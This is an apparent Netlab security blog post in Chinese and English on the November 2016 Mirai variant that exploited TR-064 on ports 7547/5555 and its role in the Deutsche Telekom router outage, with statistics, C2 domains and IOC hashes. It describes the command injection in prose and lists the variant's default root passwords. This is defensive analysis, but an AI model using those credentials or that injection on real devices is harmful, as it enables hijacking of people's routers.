【更新】 1. 2016-11-29 18:40:00 初始版本 2. 2016-11-29 20:10:00 增加了对德国电信断网事件相关的描述 德国电信断网事件 2016-11-28 德国电信在2016年11月28日前后遭遇一次大范围的网络故障。在这次故障中，2千万固定网络用户中的大约90万个路由器发生故障（约4.5%），并由此导致大面积网络访问受限。很多媒体给出了网络受限的示意图，如下。 德国电信进一步确认了问题是由于路由设备的维护界面被暴露在互联网上、并且互联网上正在发生针对性的攻击而导致。德国电信连夜与设备供应商生成了新的升级包，并且要求客户如果怀疑受到影响就断电重启路由器，之后利用自动/手动的升级过程来减轻问题显然，德国电信还采取了一系列的过滤措施来保证升级过程不受攻击影响。德国电信对该事件给出了较为详细的描述。 https://www.telekom.com/en/media/media-information/archive/information-on-current-problems-444862 按照360网络安全研究院对这次事件以及mirai僵尸网络的理解，这次事件前后的时间脉络如下（以下均为北京时间）： 1. 2016-11-07，kenzo发布了一个针对7547端口上路由器等设备的TR-069/TR-064相关的安全公告； 2. 2016-11-26 21:27:23 360网络安全研究院首次探测到mirai僵尸网络发起了针对 7547 端口的扫描； 3. 2016-11-26 ～ 2016-11-28，端口7547上的mirai僵尸网络规模积累到足以影响大面积网络； 4. ～2016-11-28 telekom 德国电信累积大约90万个路由器被mirai僵尸网络的扫描过程打宕，网络大面积受影响 5. 2016-11-28 ～ 至今 telekom 德国电信在自身网络范围内采取措施遏制mirai僵尸网络的扫描过程。 概述 众所周知，mirai的源码在北京时间2016-09-30附近泄漏，随后被托管到github上。自那以后，不管是黑帽子还是白帽子都对mirai的源码进行了大量深入的分析。换句话说，随着时间的推移，各路新玩家终将逐渐入场，目前为止我们的观察也映证了上述观点。我们已经发现了若干mirai的新变种，例如出现了新的主控域名，或者登录界面从俄文变为英文/中文，也有一些明显还是新玩家摸索阶段的设定，比如将主控域名设为8.8.8.8或者baidu.com。基于种种mirai变种，我们推测mirai家族对网络空间安全的威胁将会长期持续，周期也许会以年为单位计。 11月26日21点27分, 一个新的变种引起了我们的注意。之前的Mirai各种变种基本都是小改动，核心内容扫描23和2323端口上弱口令的行为模式没有变化，但是这个变种出现了扫描TCP 端口7547远程命令执行漏洞的行为，这是利用了最近新公布的一个安全公告中提到的问题，将感染目标转移到支持TR-069/TR-064并错误暴露TR-064的设备，bot扫描端口也随之转移到7547，感染过程利用了TR-064实现中存在的命令注入问题。该变种仍然会扫描mirai传统的端口23/2323，但是使用的弱口令进一步精简到精心挑选的三组密码。这种变化表明，mirai泄漏源码已经逐步成为成熟的开发包，一旦有新的（也许是旧的）设备弱口令被发现，很快就会被mirai家族感染。这其中，扫描端口7547而非23和2323、利用远程命令执行漏洞而非弱口令种植木马都与既往mirai的行为显著区分。 另一方面，尽管这个新变种有若干变化，它仍然重用了mirai的部分代码，进而顺带继承了mirai代码中的缺陷，并与既有mirai僵尸网络共享控制端基础设施。 11月27日17点04分,我们监测到又出现一个变种,和26日的新变种类似,这次的变种出现了扫描TCP端口5555的行为。 从我们的统计数据上来，这两个变种处于异常活跃的状态，同时从国外合作伙伴的数据来看，这两个变种的扫描范围造成了世界范围的影响，日记录的活跃扫描源在百万级别。 鉴于mirai的源码已经公开, 结合上述两个变种的行为,我们深度担忧mirai会成为一个ddos攻击库的母体，通过模块化对源代码部分内容进行更新，就可以随时增加对新的漏洞的支持。 数据更新 我们在http://data.netlab.360.com/mirai-scanner提供了对mirai感染设备的各种统计和数据下载供研究者使用。 根据新观察到的数据，我们更新了data.netlab.360.com上的mirai监控页面，并且将对应样本的md5和域名附录在文末。对已经使用API访问我们提供bot list的合作者，请重新下载2016-11-26及以后的数据以获得7547及5555端口数据的更新。 新Mirai变种的僵尸网络能力评估 目前活跃的所有已知版本的mirai(包括今天报告的在端口7547和5555的)由于编码手法问题,导致可以精确定位和标示来自mirai的扫描行为。如前所述,我们在2016-11-26首次观察到7547端口上的新变种，一天后的2016-11-27首次观察到5555端口上的新变种。 在各个端口上首次发现扫描时间对比 每日bot规模增长情况(最右侧的的蓝色和红色是新增加的这两个变种) 按照当前的增速排名，四个端口上bot的增长速度分别是： 当前端口7547上的bot增长速度已经远超过了已知 端口23/2323上的bot数量增速。当前端口7547上的bot总量已经超过3万；我们从安全社区合作伙伴处得知，全网潜在的可感染设备总数量在3～5百万之间。这也是促使我们撰写本blog的原因之一。 端口 7547 上bot增速曲线，分解到每十分钟： 上图显示，Bot的增速很快就达到一个高峰，并且平稳的维持在较高水平上。 另一方面，在整个互联网的视角来看，端口7547的扫描在2016-11-26日晚间开始有急剧的上升。 在新变种的感染bot的地理分布方面，巴西依然遥遥领先，与既有mirai僵尸网络的地理分布保持一致。 新变种共享了既有mirai僵尸网络主控的基础设施 通过分析和网络追踪，我们得到了端口7547上的mirai变种样本。进一步分析样本发现，样本中的主控有两组，如下。值得注意的是,这两组主控都是之前已经发现并跟踪的mirai僵尸主控。我们最早在2016-11-09就已经在其他样本中发现了同时出现两组主控的情况，并且那两组主控就是本次新变种中涉及的这两组。也就是说,这次利用7547漏洞的新变种和之前的mirai最开始的使用者是一组人。 * *.securityupdates.us * *. timeserver.host 目前我们可以断言以下这四组主控背后的控制者是同一组人 判定的依据有下面这些： 1. 在本次发现的样本中（以及最早在2016-11-09发现的样本），一个样本中同时出现了securityupdates.us和timeserver.host两组C&C控制服务器。 2. 上述四组域名大量共享IP地址，特别是5.188.232.1/24这个C类段，几乎所有的IP地址都拥有完全相同的扫描banner。 3. 有意思的是,在我们内部不久前做的一个数据观察的可视化图形中,我们也的确可以看到securityupdates.us和timeserver.host这两个主控下的感染bot有较高的重合度，这从另外一个维度验证了这两个主控有一定关系。 新变种与既有mirai僵尸网络在bot列表上也有一定覆盖交叉 整体四个端口 23/2323/5555/7547 的botIP列表也有一定交叉覆盖。 可以看出： 1. 主要的bot还是仅仅扫描23端口上，占了79%；加上顺带扫描2323端口的11%、以及仅仅扫描2323端口的6.4%，共计96.4%，这占据了当前mirai僵尸网络的绝对大头； 2. 仅仅扫描 7547 端口的bot有 3.1%，考虑到当前这个端口上仅工作了3天，mirai的在这个端口上感染速度仍然是惊人的； 3. 其他交叉扫描的所有bot合并攻击占据0.5%，目前仍然不是主体。 新变种的设备特性 我们汇总了手头所有7547相关的botIP列表，共计46653个。我们尝试读取这些IP的设备型号，共计获得了5976个回应。这里的样本耗损比较大，我们反复尝试了多次，相信可以排除网络抖动情况，剩下的损耗我们归因为mirai；也许是因为设备上的开放端口被mirai关闭，也许是因为设备当时网络忙。 我们筛选了返回的5976个回应中个数超过10个的细分类，列出他们的生产厂商（打码）、型号列表如下。 我们建议这些厂商联合他们的客户一起对上述情况做出适当响应以减轻mirai的危害程度，但同时仍然必须强调这些只是我们能够看到的冰山一角，也许还需要更多其他设备厂商一起来做更多的网络安全工作。 相关安全公告 2016-11-07，kenzo/kenzo2017在devicereversing.wordpress.com上发布了一个TR-064相关的安全公告。原文见： https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/ 理解该公告的技术细节有助于理解mirai新变种的行为。 公告中公开了Eir D1000 Modem的一个配置错误和一个命令注入问题。该配置错误使得原本仅应该暴露在LAN一侧的TR-064协议栈暴露在了WAN一侧；而对命令注入手段的充分利用可以使得攻击者完全接管设备。 Eir D1000 Moden向互联网暴露了端口7547。该端口上运行了两组协议，TR-069和TR-064，前者设计为在WAN上运行，而后者仅设计为在LAN侧运行。正常情况下在互联网上无法与TR-064协议栈交互，但是由于该设备的错误配置，该协议栈被暴露在WAN上，形成一个攻击面。 公告中提及，在该设备上可以执行TR-064中的多个命令，包括获取设备信息、获取设备WiFi密码、获取设备SSID/MAC、设定时间服务器等等。特殊的，在设定时间服务器的时候存在一个命令注入漏洞，利用该漏洞可以执行该设备上busybox的诸多命令，比如可以设定iptables来关掉设备上80端口管理员界面的防火墙。而要命的是，管理员界面的登录密码，就是前面提到可以获取的设备WiFi密码。 组合使用上述配置错误/漏洞，可以使得攻击者在WAN侧获得设备的完全控制权。Kenzo在公告中给出了一个利用的概念验证。 该公告中还有其他若干槽点可看。不过我们的注意力集中在网络侧的技术特征，包括： 1. 开放端口为7547，这意味着新变种的bot需要发起针对该端口的扫描。 2. 体系架构为MIPS。概念验证中提到的两个Targets分别是MIPS的大端和小端。 另外在安全社区的其他信息源中，我们了解到端口5555上也同样运行了TR-069/TR-064协议，并且有其他mirai变种开始扫描了上述端口。我们的数据中，映证了以上关于端口5555/7547的说法。 新mirai变种的感染和植入过程 新变种的感染和植入过程已经被安全社区广泛讨论，例如下面的这篇文章，这里不再赘述，读者可以自行扩展阅读。 https://badcyber.com/new-mirai-attack-vector-bot-exploits-a-recently-discovered-router-vulnerability/ 值得一提的有这么一些地方： * 新变种的样本覆盖了多个平台，如下列表: 在诸多解释中，我们选择相信这可能反映了攻击者的工程环境比较成熟，攻击者已经拥有较为成熟的交叉编译工程环境，新的扫描方式出现后顺手就编译了多种平台样本。 * 精简所使用的弱口令集合 这一变种里，针对23/2323 端口弱口令字典已经精简到了3条。 root xc3511 root vizxv root admin 对照下表中已经公开的弱口令可知，前述第一对弱口令是针对雄迈设备的；第二对是针对大华设备的。第三条适用范围较广，没有明确的指向性。 我们相信从攻击者的角度看来，对比之前的约60对弱口令，当前的三对弱口令在覆盖率上不会有多少损失，但是扫描速度方面会有很大提高。 附录 * IOC, MD5 dc2464aefa7ba00eeccbd18baceeb9e9 a4487a7b2040de43ba3e0d7468f070c7 238a67e6f9b129680b618a3c579a8c6c a490bb1c9a005bcf8cfe4bdffe7b991f 0dd3e7899183e93e5967e87ac6ea48a9 83bb43a36c49496a96f41926d80ec97d 99f9e7c6d7786555a7d067220b3c0d7d a00a630b5f2c5e142f35c9df7df9f919 b6e0b8327fa3ab5abe761fb627a9cba1 * 域名 kernelorg[.]download update[.]kernelorg[.]download securityupdates[.]us check[.]securityupdates[.]us rep[.]securityupdates[.]us timeserver[.]host ntp[.]timeserver[.]host ocalhost[.]host l[.]ocalhost[.]host

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"【更新】\n\n1. 2016-11-29 18:40:00 初始版本\n2. 2016-11-29 20:10:00 增加了对德国电信断网事件相关的描述\n\n####德国电信断网事件 2016-11-28\n德国电信在2016年11月28日前后遭遇一次大范围的网络故障。在这次故障中，2千万固定网络用户中的大约90万个路由器发生故障（约4.5%），并由此导致大面积网络访问受限。很多媒体给出了网络受限的示意图，如下。\n\n\n\n德国电信进一步确认了问题是由于路由设备的维护界面被暴露在互联网上、并且互联网上正在发生针对性的攻击而导致。德国电信连夜与设备供应商生成了新的升级包，并且要求客户如果怀疑受到影响就断电重启路由器，之后利用自动/手动的升级过程来减轻问题显然，德国电信还采取了一系列的过滤措施来保证升级过程不受攻击影响。德国电信对该事件给出了较为详细的描述。\n\nhttps://www.telekom.com/en/media/media-information/archive/information-on-current-problems-444862\n\n**按照360网络安全研究院对这次事件以及mirai僵尸网络的理解，这次事件前后的时间脉络如下**（以下均为北京时间）：\n\n1. 2016-11-07，kenzo发布了一个针对7547端口上路由器等设备的TR-069/TR-064相关的安全公告；\n2. 2016-11-26 21:27:23 360网络安全研究院首次探测到mirai僵尸网络发起了针对 7547 端口的扫描；\n3. 2016-11-26 ～ 2016-11-28，端口7547上的mirai僵尸网络规模积累到足以影响大面积网络；\n4. ～2016-11-28 telekom 德国电信累积大约90万个路由器被mirai僵尸网络的扫描过程打宕，网络大面积受影响\n5. 2016-11-28 ～ 至今 telekom 德国电信在自身网络范围内采取措施遏制mirai僵尸网络的扫描过程。\n\n####概述\n\n众所周知，mirai的源码在北京时间2016-09-30附近泄漏，随后被托管到[github](https://github.com/jgamblin/Mirai-Source-Code)上。自那以后，不管是黑帽子还是白帽子都对mirai的源码进行了大量深入的分析。换句话说，随着时间的推移，各路新玩家终将逐渐入场，目前为止我们的观察也映证了上述观点。我们已经发现了若干mirai的新变种，例如出现了新的主控域名，或者登录界面从俄文变为英文/中文，也有一些明显还是新玩家摸索阶段的设定，比如将主控域名设为*8.8.8.8*或者*baidu.com*。基于种种mirai变种，**我们推测mirai家族对网络空间安全的威胁将会长期持续，周期也许会以年为单位计。**\n\n11月26日21点27分, 一个新的变种引起了我们的注意。之前的Mirai各种变种基本都是小改动，**核心内容扫描`23`和`2323`端口上弱口令的行为模式没有变化，但是这个变种出现了扫描TCP 端口`7547`远程命令执行漏洞的行为**，这是利用了最近新公布的一个安全公告中提到的问题，将感染目标转移到支持**TR-069/TR-064**并错误暴露TR-064的设备，bot扫描端口也随之转移到`7547`，感染过程利用了TR-064实现中存在的命令注入问题。该变种仍然会扫描mirai传统的端口23/2323，但是使用的弱口令进一步精简到精心挑选的三组密码。这种变化表明，mirai泄漏源码已经逐步成为成熟的开发包，一旦有新的（也许是旧的）设备弱口令被发现，很快就会被mirai家族感染。这其中，**扫描端口`7547`而非`23`和`2323`、利用远程命令执行漏洞而非弱口令种植木马都与既往mirai的行为显著区分。**\n\n另一方面，尽管这个新变种有若干变化，它仍然重用了mirai的部分代码，进而顺带继承了mirai代码中的缺陷，并与既有mirai僵尸网络共享控制端基础设施。\n\n11月27日17点04分,我们监测到又出现一个变种,和26日的新变种类似,这次的变种出现了扫描TCP端口`5555`的行为。\n\n\n从我们的统计数据上来，这两个变种处于异常活跃的状态，同时从国外合作伙伴的数据来看，这两个变种的扫描范围造成了世界范围的影响，日记录的活跃扫描源在百万级别。\n\n\n**鉴于mirai的源码已经公开, 结合上述两个变种的行为,我们深度担忧mirai会成为一个ddos攻击库的母体，通过模块化对源代码部分内容进行更新，就可以随时增加对新的漏洞的支持。**\n\n\n#### 数据更新\n我们在[http://data.netlab.360.com/mirai-scanner](http://data.netlab.360.com/mirai-scanner)提供了对mirai感染设备的各种统计和数据下载供研究者使用。\n\n根据新观察到的数据，我们更新了[data.netlab.360.com](http://data.netlab.360.com/mirai-scanner)上的mirai监控页面，并且将对应样本的md5和域名附录在文末。对已经使用API访问我们提供bot list的合作者，请重新下载2016-11-26及以后的数据以获得7547及5555端口数据的更新。\n\n#### 新Mirai变种的僵尸网络能力评估\n目前活跃的所有已知版本的mirai(包括今天报告的在端口`7547`和`5555的`)由于编码手法问题,导致可以精确定位和标示来自mirai的扫描行为。如前所述,我们在2016-11-26首次观察到`7547`端口上的新变种，一天后的2016-11-27首次观察到`5555`端口上的新变种。\n\n在各个端口上首次发现扫描时间对比\n\n\n\n每日bot规模增长情况(最右侧的的蓝色和红色是新增加的这两个变种)\n\n\n按照当前的增速排名，四个端口上bot的增长速度分别是：\n\n\n当前端口`7547`上的bot增长速度已经远超过了已知 端口`23/2323`上的bot数量增速。当前端口`7547`上的bot总量已经超过3万；我们从安全社区合作伙伴处得知，全网潜在的可感染设备总数量在3～5百万之间。这也是促使我们撰写本blog的原因之一。\n\n端口 7547 上bot增速曲线，分解到每十分钟：\n\n上图显示，Bot的增速很快就达到一个高峰，并且平稳的维持在较高水平上。\n\n另一方面，在整个互联网的视角来看，端口7547的扫描在2016-11-26日晚间开始有急剧的上升。\n\n\n\n在新变种的感染bot的地理分布方面，**巴西依然遥遥领先**，与既有mirai僵尸网络的地理分布保持一致。\n\n---\n#### 新变种共享了既有mirai僵尸网络主控的基础设施\n通过分析和网络追踪，我们得到了端口`7547`上的mirai变种样本。进一步分析样本发现，样本中的主控有两组，如下。值得注意的是,这两组主控都是之前已经发现并跟踪的mirai僵尸主控。我们最早在2016-11-09就已经在其他样本中发现了同时出现两组主控的情况，并且那两组主控就是本次新变种中涉及的这两组。也就是说,这次利用`7547`漏洞的新变种和之前的mirai最开始的使用者是一组人。\n\n* *.securityupdates.us\n\n* *. timeserver.host \n\n==目前我们可以断言以下这四组主控背后的控制者是同一组人==\n\n\n\n判定的依据有下面这些：\n\n1. 在本次发现的样本中（以及最早在2016-11-09发现的样本），一个样本中同时出现了*securityupdates.us*和*timeserver.host*两组C&C控制服务器。\n\n2. 上述四组域名大量共享IP地址，特别是*5.188.232.1/24*这个C类段，几乎所有的IP地址都拥有完全相同的扫描banner。\n\n3. 有意思的是,在我们内部不久前做的一个数据观察的可视化图形中,我们也的确可以看到*securityupdates.us*和*timeserver.host*这两个主控下的感染bot有较高的重合度，这从另外一个维度验证了这两个主控有一定关系。\n\n\n\n#### 新变种与既有mirai僵尸网络在bot列表上也有一定覆盖交叉\n\n整体四个端口 `23/2323/5555/7547` 的botIP列表也有一定交叉覆盖。\n\n\n可以看出：\n\n1. 主要的bot还是仅仅扫描`23`端口上，占了79%；加上顺带扫描`2323`端口的11%、以及仅仅扫描`2323`端口的6.4%，共计96.4%，这占据了当前mirai僵尸网络的绝对大头；\n\n2. 仅仅扫描 `7547` 端口的bot有 3.1%，考虑到当前这个端口上仅工作了3天，mirai的在这个端口上感染速度仍然是惊人的；\n\n3. 其他交叉扫描的所有bot合并攻击占据0.5%，目前仍然不是主体。\n\n#### 新变种的设备特性\n我们汇总了手头所有`7547`相关的botIP列表，共计`46653`个。我们尝试读取这些IP的设备型号，共计获得了`5976`个回应。这里的样本耗损比较大，我们反复尝试了多次，相信可以排除网络抖动情况，剩下的损耗我们归因为mirai；也许是因为设备上的开放端口被mirai关闭，也许是因为设备当时网络忙。\n\n我们筛选了返回的`5976`个回应中个数超过10个的细分类，列出他们的生产厂商（打码）、型号列表如下。\n\n\n我们建议这些厂商联合他们的客户一起对上述情况做出适当响应以减轻mirai的危害程度，但同时仍然必须强调这些只是我们能够看到的冰山一角，也许还需要更多其他设备厂商一起来做更多的网络安全工作。\n\n\n#### 相关安全公告\n\n2016-11-07，kenzo/kenzo2017在*devicereversing.wordpress.com*上发布了一个TR-064相关的安全公告。原文见：\n[https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/](https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/)\n\n理解该公告的技术细节有助于理解mirai新变种的行为。\n公告中公开了Eir D1000 Modem的一个配置错误和一个命令注入问题。该配置错误使得原本仅应该暴露在LAN一侧的TR-064协议栈暴露在了WAN一侧；而对命令注入手段的充分利用可以使得攻击者完全接管设备。\n\nEir D1000 Moden向互联网暴露了端口`7547`。该端口上运行了两组协议，TR-069和TR-064，前者设计为在WAN上运行，而后者仅设计为在LAN侧运行。正常情况下在互联网上无法与TR-064协议栈交互，但是由于该设备的错误配置，该协议栈被暴露在WAN上，形成一个攻击面。\n\n公告中提及，在该设备上可以执行TR-064中的多个命令，包括获取设备信息、获取设备WiFi密码、获取设备SSID/MAC、设定时间服务器等等。特殊的，在设定时间服务器的时候存在一个命令注入漏洞，利用该漏洞可以执行该设备上busybox的诸多命令，比如可以设定iptables来关掉设备上`80`端口管理员界面的防火墙。而要命的是，管理员界面的登录密码，就是前面提到可以获取的设备WiFi密码。\n\n组合使用上述配置错误/漏洞，可以使得攻击者在WAN侧获得设备的完全控制权。Kenzo在公告中给出了一个利用的概念验证。\n\n该公告中还有其他若干槽点可看。不过我们的注意力集中在网络侧的技术特征，包括：\n\n1. 开放端口为`7547`，这意味着新变种的bot需要发起针对该端口的扫描。\n\n2. 体系架构为MIPS。概念验证中提到的两个Targets分别是MIPS的大端和小端。\n\n另外在安全社区的其他信息源中，我们了解到端口`5555`上也同样运行了TR-069/TR-064协议，并且有其他mirai变种开始扫描了上述端口。我们的数据中，映证了以上关于端口`5555/7547`的说法。\n\n### 新mirai变种的感染和植入过程\n\n新变种的感染和植入过程已经被安全社区广泛讨论，例如下面的这篇文章，这里不再赘述，读者可以自行扩展阅读。\n\n[https://badcyber.com/new-mirai-attack-vector-bot-exploits-a-recently-discovered-router-vulnerability/](https://badcyber.com/new-mirai-attack-vector-bot-exploits-a-recently-discovered-router-vulnerability/) \n值得一提的有这么一些地方：\n\n* 新变种的样本覆盖了多个平台，如下列表:\n\n在诸多解释中，我们选择相信这可能反映了攻击者的工程环境比较成熟，攻击者已经拥有较为成熟的交叉编译工程环境，新的扫描方式出现后顺手就编译了多种平台样本。\n\n* 精简所使用的弱口令集合\n这一变种里，针对23/2323 端口弱口令字典已经精简到了3条。\n\n>root xc3511 \nroot vizxv\nroot admin\n\n对照下表中已经公开的弱口令可知，前述第一对弱口令是针对雄迈设备的；第二对是针对大华设备的。第三条适用范围较广，没有明确的指向性。\n\n\n我们相信从攻击者的角度看来，对比之前的约60对弱口令，当前的三对弱口令在覆盖率上不会有多少损失，但是扫描速度方面会有很大提高。\n\n#### 附录\n* IOC, MD5\n\n```\ndc2464aefa7ba00eeccbd18baceeb9e9\na4487a7b2040de43ba3e0d7468f070c7\n238a67e6f9b129680b618a3c579a8c6c\na490bb1c9a005bcf8cfe4bdffe7b991f\n0dd3e7899183e93e5967e87ac6ea48a9\n83bb43a36c49496a96f41926d80ec97d\n99f9e7c6d7786555a7d067220b3c0d7d\na00a630b5f2c5e142f35c9df7df9f919\nb6e0b8327fa3ab5abe761fb627a9cba1\n```\n\n* 域名\n\n```\n\nkernelorg[.]download \nupdate[.]kernelorg[.]download\nsecurityupdates[.]us\ncheck[.]securityupdates[.]us\nrep[.]securityupdates[.]us\ntimeserver[.]host\nntp[.]timeserver[.]host\nocalhost[.]host\nl[.]ocalhost[.]host\n\n```\n\n\n\n\n\n\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

34

post

2016-11-30T10:38:21.000Z

63873b9a8b1c1e0007f52eed

a-few-observations-of-the-new-mirai-variant-on-port-7547

2018-10-06T08:56:45.000Z

public

published

2016-11-30T11:12:59.000Z

A Few Observations of The New Mirai Variant on Port 7547

<!--kg-card-begin: markdown--><p>Much of the new mirai variant that scans port 7547 has been covered by various sources. In this blog, we will not repeat such known facts, and we are just going to list a few observations that we have seen so far.</p> <h3 id="miraifirsthitandcapabilityassessment">Mirai First Hit and Capability Assessment</h3> <p>All the mirai samples so far inherit a coding issue so we can distinguish between a true mirai scanner and a regular scanner. The following table lists first seen time of “old” mirai and the “new” ones that hit our honeypot.</p> <p>You can see the variant on port 7547 first shown up on 2016-11-26 21:27:23, and first observed for the variant on port 5555 was one day after on 2016-11-27 17:04:02(all GMT +8).</p> <div class="image-div img-div-size-small" style="text-align:center">  </div> <p>Daily bot activity (blue and red lines on the rightmost are the two new variants)<br> <img src="__GHOST_URL__/content/images/2016/11/02-mirai-activity-daily-report-1.jpg" alt="" loading="lazy"></p> <p>According to the current trend, the bot growth rates of the four ports are:</p> <div class="image-div img-div-size-small" style="text-align:center">  </div> <p>Currently, the growth rate of the bot on port 7547 has far exceeded the number of bots on port 23/2323. The total number of bots on current port 7547 has already exceeded 30,000.</p> <p>Bot growth rate on port 7547, per 10 minutes:<br> <img src="__GHOST_URL__/content/images/2016/11/04-bot-growth-rate-on-port-7547-per-10-minutes.jpg" alt="" loading="lazy"></p> <p>The figure shows that, bot's growth rate quickly reached a peak, and smoothly maintained at a high level.</p> <p>On the other hand, from the perspective of the backbone network, the scan on port 7547 began to rise sharply in the evening of 2016-11-26.<br> <img src="__GHOST_URL__/content/images/2016/11/05-a-globe-view-of-port-7547-scan-activity.jpg" alt="" loading="lazy"></p> <p>In terms of the geographical distribution of the newly infected bot, Brazil is still far ahead of the others, which is consistent with the geographical distribution of the existing mirai botnet.<br> <img src="__GHOST_URL__/content/images/2016/11/06-mirai-port-7547-variant-geo-distribution.png" alt="" loading="lazy"></p> <h3 id="dataupdate">Data Update</h3> <p>We provide various statistics and data downloads of Mirai-infected devices at <a href="http://data.netlab.360.com/mirai-scanner">http://data.netlab.360.com/mirai-scanner</a> for researchers.</p> <p>For those who have been using API to access our bot list, please re-download the data from 2016-11-26 and later to obtain updates for port 7547 and 5555 data.</p> <h3 id="thenewvariantsharessomeoftheinfrastructureoftheexistingmiraibotnet">The New Variant Shares Some of the Infrastructure of the Existing Mirai Botnet</h3> <p>The new mirai has two C2s (securityupdates.us, timeserver.host) and two report servers (rep.securityupdates.us, ntp.timeserver.host)</p> <div class="image-div img-div-size-medium" style="text-align:center">  </div> <p>It is noteworthy the exact combination, both C2s and report servers had previously been embedded in the “old” mirai sample that we saw a while ago on 2016-11-09.</p> <p>Detail of the sample of 2016-11-09 variant:</p> <ol> <li>CRC32: 2BD6603A</li> <li>MD5: EF713BDD7B06097447A25F4B35C738F6</li> <li>SHA-1: 44D9C6A682E48DFA86BACDBD68F11A1F3CB78D07</li> </ol> <div class="image-div img-div-size-medium" style="text-align:center">  </div> In other words, the operator of new variant on port 7547 and the previous mirai operator are very likely the same group of people. <h3 id="botoverlap">Bot Overlap</h3> <p>The following diagram shows the overlap of all the bots we captured in our honeypot that have scanned port 23/2323/5555/7547.</p> <p><img src="__GHOST_URL__/content/images/2016/11/08-bot-ip-overlap-on-all-port-of-all-time.png" alt="" loading="lazy"></p> <p>We can see that:</p> <ol> <li>96.4% of the Mirai Bots scan port 23 or port 2323. Among them, 79% only scan port 23 and 6.4% only scan 2323, 11% scan both port 23 and 2323.</li> <li>About 3.1% of the Mirai bots only scan port 7547. The infection speed is amazing considering that Mirai’s propagation on this port started only three days ago.</li> <li>No more than 0.1% of the bots show other cross-scanning behaviors among the four-ports, which is still quite rare.</li> </ol> <h3 id="infecteddevicebreakdown">Infected Device Breakdown</h3> <p>All together we have logged 46,653 IPs that were infected with this new 7547 variants, and we tried to ID these known infected IPs by sending out requests that emulate tr064|tr069 protocol so we would be able to get accurate device info. The following is a breakdown of the infected device lists from 5976 IPs that response us. (The majority of the sources might have that port blocked by mirai, or device reboot, or IP changing, or various network issues).</p> <p><img src="__GHOST_URL__/content/images/2016/11/09-mirai-bot-device-model-distribution.png" alt="" loading="lazy"></p> <!--kg-card-end: markdown-->

Much of the new mirai variant that scans port 7547 has been covered by various sources. In this blog, we will not repeat such known facts, and we are just going to list a few observations that we have seen so far. Mirai First Hit and Capability Assessment All the mirai samples so far inherit a coding issue so we can distinguish between a true mirai scanner and a regular scanner. The following table lists first seen time of “old” mirai and the “new” ones that hit our honeypot. You can see the variant on port 7547 first shown up on 2016-11-26 21:27:23, and first observed for the variant on port 5555 was one day after on 2016-11-27 17:04:02(all GMT +8).  Daily bot activity (blue and red lines on the rightmost are the two new variants) According to the current trend, the bot growth rates of the four ports are:  Currently, the growth rate of the bot on port 7547 has far exceeded the number of bots on port 23/2323. The total number of bots on current port 7547 has already exceeded 30,000. Bot growth rate on port 7547, per 10 minutes: The figure shows that, bot's growth rate quickly reached a peak, and smoothly maintained at a high level. On the other hand, from the perspective of the backbone network, the scan on port 7547 began to rise sharply in the evening of 2016-11-26. In terms of the geographical distribution of the newly infected bot, Brazil is still far ahead of the others, which is consistent with the geographical distribution of the existing mirai botnet. Data Update We provide various statistics and data downloads of Mirai-infected devices at http://data.netlab.360.com/mirai-scanner for researchers. For those who have been using API to access our bot list, please re-download the data from 2016-11-26 and later to obtain updates for port 7547 and 5555 data. The New Variant Shares Some of the Infrastructure of the Existing Mirai Botnet The new mirai has two C2s (securityupdates.us, timeserver.host) and two report servers (rep.securityupdates.us, ntp.timeserver.host)  It is noteworthy the exact combination, both C2s and report servers had previously been embedded in the “old” mirai sample that we saw a while ago on 2016-11-09. Detail of the sample of 2016-11-09 variant: 1. CRC32: 2BD6603A 2. MD5: EF713BDD7B06097447A25F4B35C738F6 3. SHA-1: 44D9C6A682E48DFA86BACDBD68F11A1F3CB78D07  In other words, the operator of new variant on port 7547 and the previous mirai operator are very likely the same group of people. Bot Overlap The following diagram shows the overlap of all the bots we captured in our honeypot that have scanned port 23/2323/5555/7547. We can see that: 1. 96.4% of the Mirai Bots scan port 23 or port 2323. Among them, 79% only scan port 23 and 6.4% only scan 2323, 11% scan both port 23 and 2323. 2. About 3.1% of the Mirai bots only scan port 7547. The infection speed is amazing considering that Mirai’s propagation on this port started only three days ago. 3. No more than 0.1% of the bots show other cross-scanning behaviors among the four-ports, which is still quite rare. Infected Device Breakdown All together we have logged 46,653 IPs that were infected with this new 7547 variants, and we tried to ID these known infected IPs by sending out requests that emulate tr064|tr069 protocol so we would be able to get accurate device info. The following is a breakdown of the infected device lists from 5976 IPs that response us. (The majority of the sources might have that port blocked by mirai, or device reboot, or IP changing, or various network issues).

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Much of the new mirai variant that scans port 7547 has been covered by various sources. In this blog, we will not repeat such known facts, and we are just going to list a few observations that we have seen so far. \n\n### Mirai First Hit and Capability Assessment\n\nAll the mirai samples so far inherit a coding issue so we can distinguish between a true mirai scanner and a regular scanner. The following table lists first seen time of “old” mirai and the “new” ones that hit our honeypot.\n\nYou can see the variant on port 7547 first shown up on 2016-11-26 21:27:23, and first observed for the variant on port 5555 was one day after on 2016-11-27 17:04:02(all GMT +8).\n<div class=\"image-div img-div-size-small\" style=\"text-align:center\">\n\n</div>\n\n\nDaily bot activity (blue and red lines on the rightmost are the two new variants)\n\n\nAccording to the current trend, the bot growth rates of the four ports are:\n<div class=\"image-div img-div-size-small\" style=\"text-align:center\">\n\n</div>\n\nCurrently, the growth rate of the bot on port 7547 has far exceeded the number of bots on port 23/2323. The total number of bots on current port 7547 has already exceeded 30,000. \n\nBot growth rate on port 7547, per 10 minutes:\n\n\nThe figure shows that, bot's growth rate quickly reached a peak, and smoothly maintained at a high level.\n\nOn the other hand, from the perspective of the backbone network, the scan on port 7547 began to rise sharply in the evening of 2016-11-26.\n\n\nIn terms of the geographical distribution of the newly infected bot, Brazil is still far ahead of the others, which is consistent with the geographical distribution of the existing mirai botnet.\n\n\n###Data Update\nWe provide various statistics and data downloads of Mirai-infected devices at http://data.netlab.360.com/mirai-scanner for researchers.\n\nFor those who have been using API to access our bot list, please re-download the data from 2016-11-26 and later to obtain updates for port 7547 and 5555 data.\n\n###The New Variant Shares Some of the Infrastructure of the Existing Mirai Botnet\n\nThe new mirai has two C2s 